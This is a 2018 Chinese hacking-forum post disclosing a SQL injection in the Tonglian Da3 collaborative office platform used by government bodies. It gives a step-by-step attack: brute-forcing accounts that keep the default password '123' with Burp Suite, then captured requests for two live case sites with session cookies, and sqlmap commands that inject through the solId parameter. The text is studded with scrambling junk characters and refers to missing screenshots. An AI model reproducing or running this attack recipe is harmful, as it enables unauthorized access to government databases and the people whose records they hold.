找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1651|回复: 0
打印 上一主题 下一主题

同联Da3协同办公平台前台通用sql injection漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:15:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

5 l% ^( q) d6 ?
1 ]" L+ |. l2 T" R" t6 o

* d# J5 Z5 ?' N p% {. @+ p

0 ^; y7 v4 O _ F5 z5 S 平台简介: 9 z& c8 C5 ^' F, W. N2 N8 l

. h% \* g& b$ x6 O; d {

: O( ~4 j0 _# Z/ \  4 U, o m. G. R

6 W3 j7 G, ^; L: H- Y; i+ i

6 X1 X& Y1 I' b2 Z& \& s9 } 北京同联信息技术有限公司(以下简称同联)由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务,以加强各级政府的精细化、智能化管理,形成高效、敏捷、便民的新型政府。”为使命,致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
# D$ }" I2 G9 b! ]5 i. j2 P1 D同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位,分别提供以“移动政务办公”为主的Da3系列管理软件;针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
p' Q5 d& z8 p 同联本着“协作、专业、创新”的工作方针,为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献! ( b% S7 w- s. B- V

' A* R: U5 v: K9 u8 i' a5 r

7 p7 `+ n2 r/ J. c; G% V9 r1 o   $ o2 |7 H+ y5 c

, U7 K2 n' ]( w# A

+ e" `3 n/ I5 R& R$ \2 l+ s, [6 K 由于此程序为新开发的程序,故能找到的案例并不多,下面附案例地址:- E. O) _6 ~4 i

7 |' M3 p Z+ s* s

( G# Y/ G* r* D, j6 }& i  - v/ q, ^$ v' v& ~: S7 ~2 o% B1 t

0 f- W6 Q+ E' u4 _; j

' ]9 v7 f+ u8 S: p5 ] http://1.1.1.1:7197/cap-aco/#(案例2-), e, u+ c" M; k4 E0 C( a" i3 n

% c8 j3 I, G$ i1 o( T, w

7 }0 G/ F8 `+ \$ g& y' L. h4 k http://www.XXOO.com (案例1-官网网站) Q7 f3 v! B7 z+ x8 D

5 n W( u4 Q+ Z

& U- A e9 ^9 ]. v# V' ?: }% ]   {. q6 Q/ t$ V/ f% w+ N

4 t/ O; {% ?- X+ S

% r- U+ W" [2 f8 \. D: N7 b 漏洞详情:8 U1 ^8 w. N- k8 r" A3 B8 y

; |( V9 Q1 `9 p

7 m; ~. S, F- l$ O9 p  初步确定平台的默认账号为姓名的首字母小写,初始密码为123,为了能够更好的模拟入侵,使用黑盒测试手段进行测试 : r m% z; k( ]1 m

- ]3 e9 Z3 k1 w

# Q) c% r: G* |8 o4 g      首先使用burpsuite代理,然后再用黑客字典生成一个全英文小写的3位字典,利用burpsuite进行暴力破解,破解结果如图:6 t% a+ z& A1 b, }6 G: C# O- g

9 ~: a: h: }% a5 ?+ F" c

& _, Q9 h* Z" ?# x7 \  . j, I/ J$ u, J3 Q4 Q* L% q

, ` w( r$ V, @

8 i9 g. m0 C) r0 x  . H" B, |8 R! ]7 H* D

9 x$ _* r# A' T6 F. P+ w

( q4 |! @( X) c" Q/ [, ~% Q status为302即表示破解成功,然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包,抓包的数据分别如下: + r: a" P% f" u1 {

/ { ^7 I. M4 I: R

& O" S- r$ ?" ~! V; T& V 1、案例1-官方网站 9 ?# @" U) s: }. S; x: y

9 }. p0 E+ y7 C0 A8 w- J# H" M

' C4 }# ?9 ^4 N9 F GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1: l3 u ?/ u# J# H) S* |5 S% U

, ] r; h# t& i) ]: |

; H- [) I j* R9 W0 O' D% e8 O+ r Host: www.XXOO.com % p% `! Z1 c/ _+ D: j m/ S: T

# `% h) k- I/ U& [8 G

( \! Z4 O, e' b7 Z9 z( u0 j Proxy-Connection: Keep-Alive , f6 B4 m' v1 r3 d

1 i- ` i) x1 x. e5 h( p8 C2 E

+ z% M$ p/ V6 N" k" U& U/ O Accept: application/json, text/javascript, */*; q=0.01' d' e; g) H3 S' A* p

) a$ F" c& I. X2 s5 M- `

1 ~8 f9 g# f; p5 m2 e4 P- Z% M, F Accept-Language: zh-CN 2 I: s( I/ P( T; b& L0 S

% W2 t5 W4 T: U( W

{) @3 }4 k4 ]: e2 r5 k/ ?: | Content-Type: application/json # ^2 p- A0 w& v" {! @. P

( E# B' y: A* p5 O- d% R$ g4 S

1 R- m) W6 O; r" L User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko : J6 s; Z* }3 Q4 Z. [

; ~. ]1 t( W( M; ^$ P7 C

. c- @) P; L2 ]4 h, }# s X-Requested-With: XMLHttpRequest 9 e, T! r% U0 t9 ~& m4 w! C

) O( L( O3 s/ L& v T: C6 \; B

0 u8 F7 Q; d4 F2 {) b Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002& n; z3 v# d4 d! O

* ?( V4 d& b- _+ _5 G, C

$ ?2 s) H6 L4 }9 w- x$ y; w4 ` Accept-Encoding: gzip, deflate, sdch" L% q+ F* q0 g# \8 u& j, ], [

2 J) D, Y4 k8 [7 i' B& ]

5 i* k& o0 z; L% N2 k Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e - U: |- A3 u$ S

+ w) f" f) s/ M7 \; O

# Y9 b# S- C1 _7 }; D- W: k( J& P 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: u1 e' D6 s$ d& Z7 G$ }. y% f; I

" t( o x9 a8 @+ A

[' R d9 } y/ n K, t   ! l; }: p9 r2 I* r ]

$ R5 e4 a! Q( ^! a3 a

$ \- f" Q3 s6 O* N5 J   : u' W4 K& h0 {4 C

( W- d1 |$ j* @4 b

8 L9 I# D2 ~3 \. q  4 P& r2 J3 e7 q/ f O4 D$ }4 z

; d7 V8 G9 n4 W+ P

1 b& T. v* ^6 O; `4 V1 E# |6 J. n  + x+ |( D" T( V

# U t4 k& Y/ t( d' r# |$ _' N

# v# o4 S7 r" c o  6 i; O8 S6 _( q1 P& I' G9 s, L* T

8 O- A$ B4 m9 w8 t. ?

: G5 Q/ y3 v5 ^3 e 2、案例2-某天河云平台0 X* U% C; P5 V4 U: c, S

6 d* A- W* h$ d" H+ z

9 F7 P0 U$ X: B7 G" S GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1. t7 A7 [( d9 ?' t! {/ k4 m" Y+ j# d

) @2 T- @; |- d$ p) M: D

- d; a8 q+ f4 ]7 C Host: 1.1.1.:7197 % W% X y" r3 u2 j9 ^7 |; A: u

$ ^- d. g3 @6 J$ J8 v

* h2 y4 ^ d, K* G7 M4 D6 v9 i Accept: application/json, text/javascript, */*; q=0.01! a& g3 P. H) e& X& R( @" \- q" k2 w

! R+ l) _: \+ j+ ~/ G

4 w8 ~, \, N$ F& x+ W: x X-Requested-With: XMLHttpRequest* X' [" |1 ]1 {1 \9 u

- F+ R1 p7 J7 s, X, j1 K9 G9 @+ P

5 P+ g( r) ` M; W$ f User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0. Z& R' n2 N+ l/ T1 y" j$ q9 }8 U

1 H/ G$ {! k- r" `

: D# h( n$ _# L3 n( X7 y! ~ Content-Type: application/json % r* D E# u. z, V+ t5 Z. U

; O2 [, R* k4 I3 Q' m

2 S+ P9 d( F$ {- E) t, q Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008$ `4 v- M: I+ T1 q6 o& a) Z6 @

V, @5 p* z. p2 S: G

& Y( N0 W8 g& h' Q$ s Accept-Language: zh-CN,zh;q=0.8. K, i" ^- H) J8 A( S3 W+ E

) ?& U* \0 U; E- Q( h6 ? h4 y( N

; t' r, i5 `- Z' v7 C Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=10 G% k1 s. |. o) b" F1 n

5 ]9 A/ H: W2 |; J+ |, B, E% k

" }6 _6 y5 Z/ M) h4 c Connection: close # h; z: q$ B$ `' Q

+ S, ~4 h3 D* f' L! G. F

0 \# o. Y5 \6 A0 u$ a6 F3 ? U! Q 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为:sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ) K5 k8 W8 z! ^ A

3 ?0 y: N; d; g5 e

$ F% Z% R4 H$ _2 `% N" Z: d" h   - n; ~9 a* P, |- W9 p0 X

- m& w5 ~# ]; I; F+ B: X* R6 U! O

, C+ {$ Y, K( h! j( |4 F' N+ E
" t4 G2 n7 A B T6 @* B- s

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表